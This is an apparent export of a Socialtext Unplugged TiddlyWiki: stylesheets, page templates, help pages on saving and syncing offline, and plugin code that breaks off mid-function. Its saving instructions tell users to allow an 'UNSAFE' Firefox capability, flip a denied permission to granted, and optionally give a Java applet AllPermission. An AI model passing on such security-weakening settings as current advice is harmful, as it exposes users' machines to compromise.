<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml'/>
<!--}}}-->
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/*{{{*/
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected{color:[[ColorPalette::PrimaryDark]];
	background:[[ColorPalette::TertiaryPale]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
}
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.sparkline {background:[[ColorPalette::PrimaryPale]]; border:0;}
.sparktick {background:[[ColorPalette::PrimaryDark]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:'alpha(opacity:60)';}
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0em 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0em 1em 1em; left:0px; top:0px;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0em 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 .3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0em 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0em 0em 0em; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0em;}
.wizardFooter .status {padding:0em 0.4em 0em 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em 0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0em; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em 0.2em 0.2em 0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em 0.2em 0.2em 0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em 1em 1em 1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0em;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0em 0em 0.5em;}
.tab {margin:0em 0em 0em 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0em 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0em 1em;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0em 0.25em; padding:0em 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0px 3px 0px 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0em; font-size:.9em;}
.editorFooter .button {padding-top:0px; padding-bottom:0px;}

.fieldsetFix {border:0; padding:0; margin:1px 0px 1px 0px;}

.sparkline {line-height:1em;}
.sparktick {outline:0;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0em; right:0em;}
#backstageButton a {padding:0.1em 0.4em 0.1em 0.4em; margin:0.1em 0.1em 0.1em 0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; margin:0em 3em 0em 3em; padding:1em 1em 1em 1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em 0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
/***
StyleSheet for use when a translation requires any css style changes.
This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
***/
/*{{{*/
body {font-size:0.8em;}
#sidebarOptions {font-size:1.05em;}
#sidebarOptions a {font-style:normal;}
#sidebarOptions .sliderPanel {font-size:0.95em;}
.subtitle {font-size:0.8em;}
.viewer table.listView {font-size:0.95em;}
/*}}}*/
/*{{{*/
@media print {
#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none ! important;}
#displayArea {margin: 1em 1em 0em 1em;}
/* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
noscript {display:none;}
}
/*}}}*/
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar closeTiddler closeOthers +editTiddler > fields syncing permalink references jump'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>
<!--}}}-->
To get started with this blank TiddlyWiki, you'll need to modify the following tiddlers:
* SiteTitle & SiteSubtitle: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* MainMenu: The menu (usually on the left)
* DefaultTiddlers: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
These InterfaceOptions for customising TiddlyWiki are saved in your browser

Your username for signing your edits. Write it as a WikiWord (eg JoeBloggs)

<<option txtUserName>>
<<option chkSaveBackups>> SaveBackups
<<option chkAutoSave>> AutoSave
<<option chkRegExpSearch>> RegExpSearch
<<option chkCaseSensitiveSearch>> CaseSensitiveSearch
<<option chkAnimate>> EnableAnimations

----
Also see AdvancedOptions
<<importTiddlers>>
In Socialtext Unplugged, the selected pages of your Socialtext workspace are displayed as individual "tiddlers" on the page. When the mouse passes over a tiddler a short toolbar menu appears at the top right. Use the commands here to manipulate that particular tiddler: notably closing and editting it. (You can double click on a tiddler as a shortcut to directly enter edit mode).

Over on the right hand side of the window are commands that affect the entire page, in particular "close all" which can be useful to clear the decks when many tiddlers are open at once.

The user is encouraged to ensure that they can SaveChanges before embarking on widespread editing.
Welcome to Socialtext Unplugged. This is a specially designed web page that you can use to view and edit your Socialtext content without having to be online to your Socialtext server.

There are three steps to using Socialtext Unplugged:
* First, learn how to SaveChanges to your local hard drive. This keeps your work safe even if you close your browser or have to reboot your computer
* Secondly, find out how to BrowseAndEdit your content while it is unplugged
* Thirdly, when you can reconnect to your Socialtext server, you can SyncChanges to save your unplugged changes to the server so that other people can see them too

You should also check your system meets the SystemRequirements.
Socialtext Unplugged lets you browse and edit your content while you're offline. When you make a change you need to SaveChanges to save the change to your local hard drive, before later performing a SyncChanges to synchronise the change back to the server.

The procedure for SaveChanges is slightly different for different browsers:
* SavingOnInternetExplorer
* SavingOnFireFox
* SavingOnSafari
* SavingOnOpera
You can save changes with any version of FireFox, and also many other browsers in the FireFox family, such as Camino on the Mac and MiniMo on mobile devices. The procedure is:
# Click the button labelled 'save changes' over in the right hand sidebar
# If prompted with an "Internet Security" dialog as follows, click the checkbox labelled "Remember this decision" and then the "Allow" button
## "A script from "file://" is requesting enhanced capabilities that are UNSAFE and could be used to compromise your machine or data..."
# You should then see a message at the top right of the window saying "Main TiddlyWiki file saved"
If you accidentally //deny// permission instead, you may need to UnravelFireFoxPermissions.
You can save changes with Internet Explorer versions 6 and 7, but not the earlier versions. The procedure is:
# Click the button labelled 'save changes' over in the right hand sidebar
# If prompted as follows, click "Yes":
## "An ActiveX control on this page might be unsafe to interact with other parts of the page. Do you want to allow this interaction?"
# You should then see a message at the top right of the window saying "Main TiddlyWiki file saved"
Note that there is currently [[a bug|http://trac.tiddlywiki.org/tiddlywiki/ticket/39]] that prevents Internet Explorer from saving correctly if you have specified a backup directory in AdvancedOptions.
To SaveChanges on Opera, see the instructions for using the TiddlySaver Java applet.
To SaveChanges on Safari, see the instructions for using the TiddlySaver Java applet.
<<search>><<closeAll>><<permaview>><<newTiddler 'New Tiddler' fields:'server.host:"https://saturn.ffzg.hr%2C%20saturn.ffzg.hr:443" server.workspace:"razmjenavjestina" wikiformat:socialtext'>><<newJournal 'DD MMM YYYY' fields:'server.host:"https://saturn.ffzg.hr%2C%20saturn.ffzg.hr:443" server.workspace:"razmjenavjestina" wikiformat:socialtext'>><<saveChanges>><<backstage sync>><<slider chkSliderOptionsPanel OptionsPanel 'options ยป' 'Change TiddlyWiki advanced options'>>
RazmjenaVjestina
Socialtext Unplugged
https://saturn.ffzg.hr/razmjenavjestina/
[[SocialtextScreenStyle]]
[[SocialtextStyleOverrides]]
[[Styles HorizontalMainMenu]]
<<sync>>
@@The user interface for synchronization is not finalized@@
To synchronize your changes back to the Socialtext server:
# click on [[Sync]] in the right-hand sidebar
<<tabs txtMoreTab Orphans 'Orphaned tiddlers' TabMoreOrphans Shadowed 'Shadowed tiddlers' TabMoreShadowed>>
Under FireFox, you can run into problems if you accidentally click 'Deny' on the permission request dialog, and have selected //Remember this decision//.

To reverse the effects, first locate the file {{{prefs.js}}} in your FireFox profile directory. Under Windows you'll find it at something like {{{C:\Documents and Settings\Jeremy\Application Data\Mozilla\Firefox\Profiles\o3dhupu6.default\prefs.js}}}, where {{{Jeremy}}} is the name of your windows profile and {{{o3dhupu6}}} will be a similar string of gobbledegook. On the Mac it'll be at {{{~/Library/Application Support/Firefox/Profiles/o3dhupu6.default/prefs.js}}} and on most versions of Linux, at {{{~/.mozilla/firefox/o3dhupu6.default/prefs.js}}}.

Open the file in a text editor and find the line {{{user_pref("capability.principal.codebase.p0.denied", "UniversalXPConnect");}}} and simply replace the word {{{denied}}} with {{{granted}}}.
//(Thanks to JonScully for figuring out this fix)//
<!--{{{-->
<div class='toolbar' macro='toolbar closeTiddler closeOthers +editTiddler references > fields syncing jump'></div>
<div class='workspace' id='st-page-wiki-title' macro='view socialtext.workspace'></div>
<div class='title' id='st-page-titletext' macro='view title'></div>
<div class='subtitle'>
Created on <span macro='view created date [[MMM DD, 0hh:0mm]]'></span>.
Updated by <span macro='view modifier link'></span>
on <span macro='view modified date [[MMM DD, 0hh:0mm]]'></span></div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></span></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
/***
To use, add {{{[[Styles HorizontalMainMenu]]}}} to your StyleSheet tiddler.
See http://www.w3schools.com/css/css_colors.asp for a color chart.
***/
/*{{{*/
#mainMenu {position:relative;left:auto;width:auto;text-align:left;line-height:normal;padding 0em 1em 0em 1em;font-size:normal;}
#mainMenu br {display:none;}
#mainMenu {background:#336699;}
#mainMenu {padding:2px;}
#mainMenu .button, #mainMenu .tiddlyLink {padding-left:0.5em;padding-right:0.5em;color:white;font-size:115%;}

#displayArea {
	margin-top:0;margin-right:20em;margin-bottom:0;margin-left:1em;
	padding-top:.1em;padding-bottom:.1em;
}
/*}}}*/
|''Type:''|socialtext|
|''URL:''|https://saturn.ffzg.hr%2C%20saturn.ffzg.hr:443 |
|''Workspace:''|razmjenavjestina|
|''WorkspaceList:''||
|''Description:''|RazmjenaVjestina|
The TiddlySaver Java applet allows TiddlyWiki from a {{{file://}}} URL to save changes Safari, Opera and other browsers.

It is a small file named [["TiddlySaver.jar"|TiddlySaver.jar]] that must be placed in the same directory as your TiddlyWiki file. Before you can use it, you need to give it the necessary privileges by editting your {{{.java.policy}}} file.

For Windows, the file will be at {{{C:\Documents and Settings\your-user-name\.java.policy}}}. Add the following lines (substituting the directory of your TiddlyWiki file as appropriate):
{{{
grant codeBase "file:${user.home}/My Documents/tiddlywiki-folder/*" {
  permission java.io.FilePermission "${user.home}${/}My Documents${/}tiddlywiki-folder${/}*", "read,write";
};
}}}
On Mac OS X, the file is found at {{{/Users/your-user-name/.java.policy}}}:
{{{
grant codeBase "file:${user.home}/Documents/tiddlywiki-folder/*" {
  permission java.io.FilePermission "${user.home}${/}Documents${/}tiddlywiki-folder${/}*", "read,write";
};
}}}
It can be tricky creating files whose name starts with a period, so you can use this [[pre-built .java.policy file|.java.policy]]. The same file is suitable for Macs too, just edit it and delete the "My " bit, leaving just "Documents". Make sure you save it in the right place for each operating system!

If you have trouble setting up the permissions correctly, you can try granting broader permissions to the applet like this:

{{{
grant codeBase "file://localhost/home/users/Desktop/
TiddlySaver.jar"
 { permission java.security.AllPermission; };
}}}

Note that there is currently [[a bug|http://trac.tiddlywiki.org/ticket/172]] that prevents TiddlySaver from working if you have specified a backup directory in AdvancedOptions.
/***
|''Name:''|SocialtextLocaleOverrides|
|''Description:''|Text changes for Socialtext|
***/

//{{{
merge(config.views.wikified.tag,{
	labelNoTags: "No Tags",
	labelTags: "Tags"});

merge(config.commands.references,{
	text: "incoming links",
	tooltip: "Show tiddlers that link to this one",
	popupNone: "No incoming links"});
//}}}
/***
|''Name:''|SocialtextTweaksPlugin|
|''Description:''|Allows changes to be synchronised with a Socialtext server|
|''Source:''|http://stunplugged.tiddlywiki.com/#SocialtextTweaksPlugin|
|''Author:''|JeremyRuston (jeremy (at) osmosoft (dot) com)|
|''Version:''|1.0.2|
|''Date:''|Jun 15, 2006|
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev|
|''License:''|[[BSD open source license]]|
|''~CoreVersion:''|2.2|

Make minor configuration tweaks specific to Socialtext Unplugged
***/

//{{{
// Ensure that the SocialtextTweaksPlugin is only installed once.
if(!version.extensions.SocialtextTweaksPlugin) {
version.extensions.SocialtextTweaksPlugin = {installed:true};
// Check version number of core code
if(version.major < 2 || (version.major == 2 && version.minor < 2))
	{alertAndThrow("SocialtextTweaksPlugin requires TiddlyWiki 2.2 or later.");}

merge(config.defaultCustomFields,{
	wikiformat:'socialtext',
	'server.host':'https://saturn.ffzg.hr%2C%20saturn.ffzg.hr:443'
});

config.options.chkSinglePageMode = true;
config.options.chkEnableAnimations = true;

} // end of "install only once"
//}}}
/***
|''Name:''|SocialtextFormatterPlugin|
|''Description:''|Allows Tiddlers to use [[Socialtext|http://www.socialtext.com/]] text formatting|
|''Author:''|Martin Budden (mjbudden (at) gmail (dot) com)|
|''Source:''|http://www.martinswiki.com/#SocialtextFormatterPlugin|
|''CodeRepository:''|http://svn.tiddlywiki.org/Trunk/contributors/MartinBudden/formatters/SocialtextFormatterPlugin.js|
|''Version:''|0.9.4|
|''Date:''|Jan 21, 2007|
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev|
|''License:''|[[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|''~CoreVersion:''|2.1.0|

This is the SocialtextFormatterPlugin, which allows you to insert Socialtext formated text into a TiddlyWiki.

The aim is not to fully emulate Socialtext, but to allow you to work with Socialtext content off-line and then resync the content with your Socialtext wiki later on, with the expectation that only minor edits will be required.

To use Socialtext format in a Tiddler, tag the Tiddler with SocialtextFormat or set the tiddler's {{{wikiformat}}} extended field to {{{socialtext}}}

Please report any defects you find at http://groups.google.co.uk/group/TiddlyWikiDev
***/

//{{{
// Ensure that the SocialtextFormatter Plugin is only installed once.
if(!version.extensions.SocialtextFormatterPlugin) {
version.extensions.SocialtextFormatterPlugin = {installed:true};

if(version.major < 2 || (version.major == 2 && version.minor < 1))
	{alertAndThrow('SocialtextFormatterPlugin requires TiddlyWiki 2.1 or later.');}

SocialtextFormatter = {}; // 'namespace' for local functions

wikify = function(source,output,highlightRegExp,tiddler)
{
	if(source && source != '') {
		var w = new Wikifier(source,getParser(tiddler),highlightRegExp,tiddler);
		var out = output;
		if(tiddler && (tiddler.isTagged(config.parsers.socialtextFormatter.formatTag) || (tiddler.fields.wikiformat==config.parsers.socialtextFormatter.format)) ) {
			var d1 = createTiddlyElement(output,'div','content-display-body','content-section-visible');
			var d2 = createTiddlyElement(d1,'div','wikipage');
			out = createTiddlyElement(d2,'div',null,'wiki');
		}
		var time1,time0 = new Date();
		w.subWikifyUnterm(out);
		if(tiddler && config.options.chkDisplayInstrumentation) {
			time1 = new Date();
			var t = tiddler ? tiddler.title : source.substr(0,10);
			displayMessage("Wikify '"+t+"' in " + (time1-time0) + " ms");
		}
	}
};

stDebug = function(out,str)
{
	createTiddlyText(out,str.replace(/\n/mg,'\\n').replace(/\r/mg,'RR'));
	createTiddlyElement(out,'br');
};

SocialtextFormatter.Tiddler_changed = Tiddler.prototype.changed;
Tiddler.prototype.changed = function()
{
	if((this.fields.wikiformat==config.parsers.socialtextFormatter.format) || this.isTagged(config.parsers.socialtextFormatter.formatTag)) {
